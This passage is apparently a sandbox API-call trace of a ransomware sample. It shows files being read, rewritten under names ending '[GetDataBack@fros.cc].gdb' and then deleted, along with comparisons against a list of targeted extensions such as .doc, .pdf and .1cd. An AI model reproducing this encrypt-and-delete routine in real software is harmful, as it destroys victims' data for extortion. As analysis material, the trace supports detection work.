Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0116.430] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0116.430] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0116.430] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0116.430] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0116.430] GetLastError () returned 0x0 [0116.430] ReadFile (in: hFile=0x1b4, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x2213, lpOverlapped=0x0) returned 1 [0116.432] WriteFile (in: hFile=0x1bc, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0x2220, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0x2220, lpOverlapped=0x0) returned 1 [0116.433] ReadFile (in: hFile=0x1b4, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x0, lpOverlapped=0x0) returned 1 [0116.433] WriteFile (in: hFile=0x1bc, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0xec, lpOverlapped=0x0) returned 1 [0116.433] SetEndOfFile (hFile=0x1bc) returned 1 [0116.433] CloseHandle (hObject=0x1bc) returned 1 [0116.433] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0116.434] SetEndOfFile (hFile=0x1b4) returned 1 [0116.434] CloseHandle (hObject=0x1b4) returned 1 [0116.434] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0116.434] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml")) returned 1 [0116.435] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0116.435] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0116.435] lstrlenW (lpString=".doc") returned 4 [0116.435] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0116.435] lstrlenW (lpString=".docx") returned 5 [0116.435] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0116.435] lstrlenW (lpString=".pdf") returned 4 [0116.435] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0116.435] lstrlenW (lpString=".xls") returned 4 [0116.435] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0116.435] lstrlenW (lpString=".xlsx") returned 5 [0116.435] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0116.435] lstrlenW (lpString=".ppt") returned 4 [0116.435] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0116.435] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0116.435] lstrlenW (lpString=".zip") returned 4 [0116.435] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0116.435] lstrlenW (lpString=".rar") returned 4 [0116.435] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0116.435] lstrlenW (lpString=".bz2") returned 4 [0116.435] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0116.435] lstrlenW (lpString=".7z") returned 3 [0116.435] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0116.435] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0116.435] lstrlenW (lpString=".dbf") returned 4 [0116.435] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0116.435] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0116.435] lstrlenW (lpString=".1cd") returned 4 [0116.435] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0116.435] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0116.435] lstrlenW (lpString=".jpg") returned 4 [0116.435] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0116.435] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0116.435] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0116.435] lstrlenW (lpString=".doc") returned 4 [0116.435] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0116.435] lstrlenW (lpString=".docx") returned 5 [0116.436] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0116.436] lstrlenW (lpString=".pdf") returned 4 [0116.436] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0116.436] lstrlenW (lpString=".xls") returned 4 [0116.436] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0116.436] lstrlenW (lpString=".xlsx") returned 5 [0116.436] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0116.436] lstrlenW (lpString=".ppt") returned 4 [0116.436] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0116.436] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0116.436] lstrlenW (lpString=".zip") returned 4 [0116.436] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0116.436] lstrlenW (lpString=".rar") returned 4 [0116.436] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0116.436] lstrlenW (lpString=".bz2") returned 4 [0116.436] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0116.436] lstrlenW (lpString=".7z") returned 3 [0116.436] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0116.436] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0116.436] lstrlenW (lpString=".dbf") returned 4 [0116.436] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0116.436] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0116.436] lstrlenW (lpString=".1cd") returned 4 [0116.436] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0116.436] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0116.436] lstrlenW (lpString=".jpg") returned 4 [0116.436] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0116.436] lstrcmpiW (lpString1=".GIF", lpString2=".gdb") returned 1 [0116.436] lstrlenW (lpString="MS.GIF") returned 6 [0116.436] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0116.969] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x33f7cc | out: lpFileSize=0x33f7cc*=1069) returned 1 [0116.969] CloseHandle (hObject=0x18c) returned 1 [0116.969] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif")) returned 0x20 [0116.969] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0116.969] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0116.969] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0116.969] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0116.969] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0116.969] GetLastError () returned 0x0 [0116.969] ReadFile (in: hFile=0x18c, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x42d, lpOverlapped=0x0) returned 1 [0117.270] WriteFile (in: hFile=0x1c4, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0x430, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0x430, lpOverlapped=0x0) returned 1 [0117.271] ReadFile (in: hFile=0x18c, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x0, lpOverlapped=0x0) returned 1 [0117.271] WriteFile (in: hFile=0x1c4, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0xe0, lpOverlapped=0x0) returned 1 [0117.271] SetEndOfFile (hFile=0x1c4) returned 1 [0117.272] CloseHandle (hObject=0x1c4) returned 1 [0117.272] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0117.272] SetEndOfFile (hFile=0x18c) returned 1 [0117.273] CloseHandle (hObject=0x18c) returned 1 [0117.273] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0117.273] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif")) returned 1 [0117.273] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0117.273] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0117.273] lstrlenW (lpString=".doc") returned 4 [0117.273] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0117.273] lstrlenW (lpString=".docx") returned 5 [0117.273] lstrcmpiW (lpString1=".docx", lpString2="S.GIF") returned -1 [0117.273] lstrlenW (lpString=".pdf") returned 4 [0117.273] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0117.273] lstrlenW (lpString=".xls") returned 4 [0117.273] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0117.273] lstrlenW (lpString=".xlsx") returned 5 [0117.273] lstrcmpiW (lpString1=".xlsx", lpString2="S.GIF") returned -1 [0117.273] lstrlenW (lpString=".ppt") returned 4 [0117.273] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0117.274] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0117.274] lstrlenW (lpString=".zip") returned 4 [0117.274] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0117.274] lstrlenW (lpString=".rar") returned 4 [0117.274] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0117.274] lstrlenW (lpString=".bz2") returned 4 [0117.274] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0117.274] lstrlenW (lpString=".7z") returned 3 [0117.274] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0117.274] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0117.274] lstrlenW (lpString=".dbf") returned 4 [0117.274] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0117.274] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0117.274] lstrlenW (lpString=".1cd") returned 4 [0117.274] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0117.274] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0117.274] lstrlenW (lpString=".jpg") returned 4 [0117.274] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0117.274] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0117.274] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0117.274] lstrlenW (lpString=".doc") returned 4 [0117.274] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0117.274] lstrlenW (lpString=".docx") returned 5 [0117.274] lstrcmpiW (lpString1=".docx", lpString2="S.GIF") returned -1 [0117.274] lstrlenW (lpString=".pdf") returned 4 [0117.274] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0117.274] lstrlenW (lpString=".xls") returned 4 [0117.274] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0117.274] lstrlenW (lpString=".xlsx") returned 5 [0117.274] lstrcmpiW (lpString1=".xlsx", lpString2="S.GIF") returned -1 [0117.274] lstrlenW (lpString=".ppt") returned 4 [0117.274] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0117.274] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0117.274] lstrlenW (lpString=".zip") returned 4 [0117.274] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0117.274] lstrlenW (lpString=".rar") returned 4 [0117.274] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0117.274] lstrlenW (lpString=".bz2") returned 4 [0117.274] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0117.274] lstrlenW (lpString=".7z") returned 3 [0117.274] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0117.274] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0117.274] lstrlenW (lpString=".dbf") returned 4 [0117.274] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0117.275] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0117.275] lstrlenW (lpString=".1cd") returned 4 [0117.275] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0117.275] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0117.275] lstrlenW (lpString=".jpg") returned 4 [0117.275] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0117.275] lstrcmpiW (lpString1=".xml", lpString2=".gdb") returned 1 [0117.275] lstrlenW (lpString="ipsdan.xml") returned 10 [0117.275] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0117.456] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x33f7cc | out: lpFileSize=0x33f7cc*=2514) returned 1 [0117.456] CloseHandle (hObject=0x1c0) returned 1 [0117.456] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml")) returned 0x20 [0117.456] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0117.456] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0117.456] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned 61 [0117.456] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned 61 [0117.456] lstrlenW (lpString=".doc") returned 4 [0117.456] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0117.456] lstrlenW (lpString=".docx") returned 5 [0117.456] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0117.456] lstrlenW (lpString=".pdf") returned 4 [0117.456] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0117.457] lstrlenW (lpString=".xls") returned 4 [0117.457] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0117.457] lstrlenW (lpString=".xlsx") returned 5 [0117.457] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0117.457] lstrlenW (lpString=".ppt") returned 4 [0117.457] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0117.457] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned 61 [0117.457] lstrlenW (lpString=".zip") returned 4 [0117.457] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0117.457] lstrlenW (lpString=".rar") returned 4 [0117.457] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0117.457] lstrlenW (lpString=".bz2") returned 4 [0117.457] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0117.457] lstrlenW (lpString=".7z") returned 3 [0117.457] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0117.457] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned 61 [0117.457] lstrlenW (lpString=".dbf") returned 4 [0117.457] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0117.457] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned 61 [0117.457] lstrlenW (lpString=".1cd") returned 4 [0117.457] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0117.457] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned 61 [0117.457] lstrlenW (lpString=".jpg") returned 4 [0117.457] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0117.457] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned 61 [0117.457] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned 61 [0117.457] lstrlenW (lpString=".doc") returned 4 [0117.457] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0117.457] lstrlenW (lpString=".docx") returned 5 [0117.458] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0117.458] lstrlenW (lpString=".pdf") returned 4 [0117.458] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0117.458] lstrlenW (lpString=".xls") returned 4 [0117.458] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0117.458] lstrlenW (lpString=".xlsx") returned 5 [0117.458] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0117.458] lstrlenW (lpString=".ppt") returned 4 [0117.458] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0117.458] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned 61 [0117.458] lstrlenW (lpString=".zip") returned 4 [0117.458] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0117.458] lstrlenW (lpString=".rar") returned 4 [0117.458] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0117.458] lstrlenW (lpString=".bz2") returned 4 [0117.458] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0117.458] lstrlenW (lpString=".7z") returned 3 [0117.458] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0117.458] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned 61 [0117.458] lstrlenW (lpString=".dbf") returned 4 [0117.458] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0117.458] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned 61 [0117.458] lstrlenW (lpString=".1cd") returned 4 [0117.458] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0117.458] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned 61 [0117.459] lstrlenW (lpString=".jpg") returned 4 [0117.459] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0117.459] lstrcmpiW (lpString1=".HTM", lpString2=".gdb") returned 1 [0117.459] lstrlenW (lpString="README.HTM") returned 10 [0117.459] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0117.460] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x33f7cc | out: lpFileSize=0x33f7cc*=1941) returned 1 [0117.460] CloseHandle (hObject=0x1c0) returned 1 [0117.460] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm")) returned 0x20 [0117.460] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0117.461] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0117.461] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0117.461] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0117.461] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0117.461] GetLastError () returned 0x0 [0117.461] ReadFile (in: hFile=0x1c0, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x795, lpOverlapped=0x0) returned 1 [0117.463] WriteFile (in: hFile=0x1d4, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0x7a0, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0x7a0, lpOverlapped=0x0) returned 1 [0117.464] ReadFile (in: hFile=0x1c0, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x0, lpOverlapped=0x0) returned 1 [0117.464] WriteFile (in: hFile=0x1d4, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0xe8, lpOverlapped=0x0) returned 1 [0117.464] SetEndOfFile (hFile=0x1d4) returned 1 [0117.464] CloseHandle (hObject=0x1d4) returned 1 [0117.465] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0117.465] SetEndOfFile (hFile=0x1c0) returned 1 [0117.466] CloseHandle (hObject=0x1c0) returned 1 [0117.466] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0117.466] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm")) returned 1 [0117.467] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0117.467] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0117.467] lstrlenW 